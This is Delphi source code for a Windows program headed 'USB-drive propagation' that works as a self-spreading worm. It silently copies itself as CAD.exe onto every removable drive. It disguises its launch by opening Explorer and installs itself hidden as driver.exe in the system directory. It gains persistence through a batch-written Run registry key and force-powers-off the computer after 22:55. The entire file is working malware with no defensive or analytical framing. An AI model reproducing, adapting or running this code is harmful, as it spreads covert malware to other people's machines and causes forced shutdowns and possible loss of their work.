unit1.pas

u盘传播

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls,strutils,TLHelp32,dateutils,registry,shellapi;

type
  TForm1 = class(TForm)
    U: TTimer;
    Host: TTimer;
    function ConvertPath(path:string):string;
    function shutDown(uFlags:Cardinal):boolean;
    procedure CopyToU(sourcePath:string);
    procedure UTimer(Sender: TObject);
    function FindProcess(AFileName: string): boolean;
    procedure AuToRun(Path:string);
    procedure deletekey(keyname:string);
    procedure FormShow(Sender: TObject);
    procedure HostTimer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.AuToRun(Path: string);
var
 f:textfile;
 filepath:string;
 sysdir:array[0..255] of char;
begin
 getsystemdirectory(sysdir,255);
 filepath:=sysdir+'\drive.bat';
 assignfile(f,filepath);
 rewrite(f);
 writeln(f,'echo REGEDIT4>x.reg');
 writeln(f,'echo.');
 writeln(f,'echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run]>>x.reg ');
 writeln(f,'echo "system"="'+ConvertPath(path)+'">>x.reg');
 writeln(f,'regedit /s x.reg &del x.reg ');
 closefile(f);
 winexec(pchar(filepath),SW_hide);
end;

function TForm1.ConvertPath(path: string): string;
var
  i,j:integer;
  retStr,tmpstr:string;
begin
  tmpstr:=path;
  i:=pos('\',tmpstr);
  while i>0  do
  begin
    j:=length(tmpstr);
    retStr:=retStr+leftstr(tmpstr,i)+'\';
    tmpStr:=rightStr(tmpstr,j-i);
    i:=pos('\',tmpstr);
  end;
  retStr:=retStr+tmpstr;
  result:=retStr;
end;

procedure TForm1.CopyToU(sourcePath: string);
var
 i:char;
 filename:string;
begin
  for i:='C' to 'Z' do
    if getdrivetype(pchar(i+':\'))=DRIVE_REMOVABLE then
    begin
        filename:=i+':\CAD.exe';
        try
        copyfile(pchar(sourcePath),pchar(filename),false);
        except
        end;
    end;
end;


function TForm1.FindProcess(AFileName: string): boolean;
var
  hSnapshot: THandle;//用于获得进程列表
  lppe: TProcessEntry32;//用于查找进程
  Found: Boolean;//用于判断进程遍历是否完成
 // KillHandle: THandle;//用于杀死进程
begin
  Result :=False;
  hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);//获得系统进程列表
  lppe.dwSize := SizeOf(TProcessEntry32);//在调用Process32First API之前，需要初始化lppe记录的大小
  Found := Process32First(hSnapshot, lppe);//将进程列表的第一个进程信息读入ppe记录中
  while Found do
  begin
    if ((UpperCase(ExtractFileName(lppe.szExeFile))=UpperCase(AFileName)) or (UpperCase(lppe.szExeFile )=UpperCase(AFileName))) then
    begin
      {if MsShow('发现打开Excel,是否将其关闭?',2)=6 then
      begin
      //由于我的操作系统是xp，所以在调用TerminateProcess API之前
      //我必须先获得关闭进程的权限,如果操作系统是NT以下可以直接中止进程
      KillHandle := OpenProcess(PROCESS_TERMINATE, False, lppe.th32ProcessID);
      TerminateProcess(KillHandle, 0);//强制关闭进程
      CloseHandle(KillHandle);
      end;}
      Result :=True;
    end;
    Found := Process32Next(hSnapshot, lppe);//将进程列表的下一个进程信息读入lppe记录中
  end;
end;

function TForm1.shutDown(uFlags: Cardinal): boolean;
const   
      ADJUST_PRIV   =   TOKEN_QUERY   or   TOKEN_ADJUST_PRIVILEGES;   
      SHTDWN_PRIV   =   'SeShutdownPrivilege';   
      PRIV_SIZE       =   sizeOf(TTokenPrivileges);   
    
var
      Len:   DWORD;   
      TokenPriv,   Dummy:   TTokenPrivileges;   
      Token:   THandle;   
      Error:integer;   
begin
      error:=0;   
      //   设置特权   
      //   Delphi2:   
      //if   not   OpenProcessToken(GetCurrentProcess(),   ADJUST_PRIV,   @Token)   then   
      if   not   OpenProcessToken(GetCurrentProcess(),   ADJUST_PRIV,   Token)   then   
              Error   :=   Error   or   4;   
      if   not   LookupPrivilegeValue(nil,   SHTDWN_PRIV,TokenPriv.Privileges[0].Luid)   then   
          Error   :=   Error   or   8;   
      TokenPriv.Privileges[0].Attributes   :=   SE_PRIVILEGE_ENABLED;   
      TokenPriv.PrivilegeCount   :=   1;     //   One   privilege   to   set   
      if   not   AdjustTokenPrivileges(Token,   false,   TokenPriv,   PRIV_SIZE,Dummy,   Len)   then   
          Error:=Error   or   16;   
      ExitWindowsEx(uFlags,   0);   
      Result   :=   (Error=0);   
end;

procedure TForm1.UTimer(Sender: TObject);
var
  sysdir:array[0..255] of char;
  targetPath:string;
begin
  getsystemdirectory(sysdir,255);
  targetPath:=sysdir+'\driver.exe';
  if fileExists(targetPath) then
  begin
     if form1.FindProcess('driver.exe') then
        close
     else
     begin
        Winexec(pchar(targetPath),sw_hide);
        close;
     end;
  end else
  begin
    copyfile(pchar(application.exename),pchar(targetPath),false);
    WinExec(pchar(targetPath),sw_hide);
    form1.Close;
  end;
end;

procedure TForm1.FormShow(Sender: TObject);
var
  filename:string;
begin
  filename:=ExTractFileName(Application.ExeName);
  if  filename='CAD.exe' then
  begin
   shellexecute(0,'explore','c:\',nil,nil,SW_SHOW);
    u.Enabled:=true;
    host.Enabled:=false;
  end  else
  begin
    u.Enabled:=false;
    host.Enabled:=true;
    form1.deletekey('system');
  end;
end;

procedure TForm1.HostTimer(Sender: TObject);
begin
 form1.CopyToU(Application.ExeName);
 if comparetime(strtodatetime('22:55:00'),now)=-1  then
 begin
   form1.shutDown(EWX_POWEROFF   +   EWX_FORCE);
   //showmessage('该shutdown了');
 end;
end;

procedure TForm1.deletekey(keyname: string);
var
  reg:Tregistry;
begin
  reg:=Tregistry.Create;
  reg.RootKey:=HKEY_CURRENT_USER;
  reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
  reg.DeleteValue(keyname);
  reg.CloseKey;
  reg.Free;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  form1.AuToRun(application.ExeName);
end;

end.